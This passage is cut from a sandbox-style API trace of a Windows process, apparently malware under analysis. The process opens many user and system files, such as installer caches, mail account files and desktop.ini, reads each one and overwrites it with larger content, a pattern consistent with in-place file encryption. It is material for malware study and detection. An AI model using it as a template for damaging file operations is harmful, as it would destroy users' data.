Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.286] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.286] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6da [0052.286] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.286] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.286] ReleaseMutex (hMutex=0x128) returned 1 [0052.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINPROJ.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0052.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINPROJ.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x1e78c44, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.WINPROJ.14.1033.hxn", lpUsedDefaultChar=0x0) returned 22 [0052.286] ReadFile (in: hFile=0x198, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6da, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2f4f2bc*=0x6da, lpOverlapped=0x0) returned 1 [0052.286] CloseHandle (hObject=0x198) returned 1 [0052.286] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.287] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.287] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6f9b0 [0052.287] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.287] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.287] ReleaseMutex (hMutex=0x128) returned 1 [0052.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x86.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0052.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x86.exe", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vcredist_x86.exe", lpUsedDefaultChar=0x0) returned 16 [0052.287] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0052.287] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x6e9b0 [0052.287] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.287] CloseHandle (hObject=0x198) returned 1 [0052.287] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.287] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.287] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x24588 [0052.287] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.288] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.288] ReleaseMutex (hMutex=0x128) returned 1 [0052.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x64.msi", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0052.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x64.msi", cchWideChar=25, lpMultiByteStr=0x1e7fd2c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeMinimum_x64.msi", lpUsedDefaultChar=0x0) returned 25 [0052.288] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0052.288] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x23588 [0052.288] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.288] CloseHandle (hObject=0x198) returned 1 [0052.288] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.288] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.288] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6f920 [0052.288] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.288] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.288] ReleaseMutex (hMutex=0x128) returned 1 [0052.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x64.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0052.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x64.exe", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vcredist_x64.exe", lpUsedDefaultChar=0x0) returned 16 [0052.288] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0052.288] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x6e920 [0052.289] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.289] CloseHandle (hObject=0x198) returned 1 [0052.289] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.289] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.289] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xbf3b8 [0052.289] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.289] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.289] ReleaseMutex (hMutex=0x128) returned 1 [0052.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VC_redist.x86.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0052.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VC_redist.x86.exe", cchWideChar=17, lpMultiByteStr=0x1e78c44, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VC_redist.x86.exe", lpUsedDefaultChar=0x0) returned 17 [0052.289] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0052.289] ReadFile (in: hFile=0x198, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.289] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xbe3b8 [0052.289] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.289] CloseHandle (hObject=0x198) returned 1 [0052.289] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.291] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.291] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x43 [0052.291] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.291] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.291] ReleaseMutex (hMutex=0x128) returned 1 [0052.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0052.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6340c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0052.291] ReadFile (in: hFile=0x198, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x43, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2f4f2bc*=0x43, lpOverlapped=0x0) returned 1 [0052.292] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0052.292] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5cb, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5cb, lpOverlapped=0x0) returned 1 [0052.292] CloseHandle (hObject=0x198) returned 1 [0052.292] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.294] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.294] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x31d [0052.294] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.294] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.294] ReleaseMutex (hMutex=0x128) returned 1 [0052.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="05_Pictures_taken_in_the_last_month.wpl", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0052.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="05_Pictures_taken_in_the_last_month.wpl", cchWideChar=39, lpMultiByteStr=0x1eb20f4, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="05_Pictures_taken_in_the_last_month.wpl", lpUsedDefaultChar=0x0) returned 39 [0052.295] ReadFile (in: hFile=0x198, lpBuffer=0x2750828, nNumberOfBytesToRead=0x31d, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x2f4f2bc*=0x31d, lpOverlapped=0x0) returned 1 [0052.298] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0052.298] WriteFile (in: hFile=0x198, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8a5, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2f4f2d0*=0x8a5, lpOverlapped=0x0) returned 1 [0052.298] CloseHandle (hObject=0x198) returned 1 [0052.298] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.301] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.301] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6c8 [0052.301] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.302] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.302] ReleaseMutex (hMutex=0x128) returned 1 [0052.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0052.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cchWideChar=55, lpMultiByteStr=0x1e86bac, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpUsedDefaultChar=0x0) returned 55 [0052.302] ReadFile (in: hFile=0x198, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6c8, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2f4f2bc*=0x6c8, lpOverlapped=0x0) returned 1 [0052.305] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0052.305] WriteFile (in: hFile=0x198, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f2d0*=0xc50, lpOverlapped=0x0) returned 1 [0052.305] CloseHandle (hObject=0x198) returned 1 [0052.306] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.306] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.306] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xeb [0052.306] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.306] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.306] ReleaseMutex (hMutex=0x128) returned 1 [0052.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hand Prints.htm", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0052.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hand Prints.htm", cchWideChar=15, lpMultiByteStr=0x1e6314c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hand Prints.htm", lpUsedDefaultChar=0x0) returned 15 [0052.306] ReadFile (in: hFile=0x198, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xeb, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x2f4f2bc*=0xeb, lpOverlapped=0x0) returned 1 [0052.307] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0052.308] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x673, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x673, lpOverlapped=0x0) returned 1 [0052.308] CloseHandle (hObject=0x198) returned 1 [0052.308] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.308] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.308] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x228 [0052.309] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.309] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.309] ReleaseMutex (hMutex=0x128) returned 1 [0052.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0052.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cchWideChar=32, lpMultiByteStr=0x1eb20f4, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpUsedDefaultChar=0x0) returned 32 [0052.309] ReadFile (in: hFile=0x198, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2f4f2bc*=0x228, lpOverlapped=0x0) returned 1 [0052.310] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0052.310] WriteFile (in: hFile=0x198, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7b0, lpOverlapped=0x0) returned 1 [0052.310] CloseHandle (hObject=0x198) returned 1 [0052.310] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads\\desktop.ini" (normalized: "c:\\users\\default\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0052.310] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.310] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x11a [0052.311] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0052.311] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.311] ReleaseMutex (hMutex=0x128) returned 1 [0052.311] WideCharToMultiByte (in: CodePage=0xfde9, 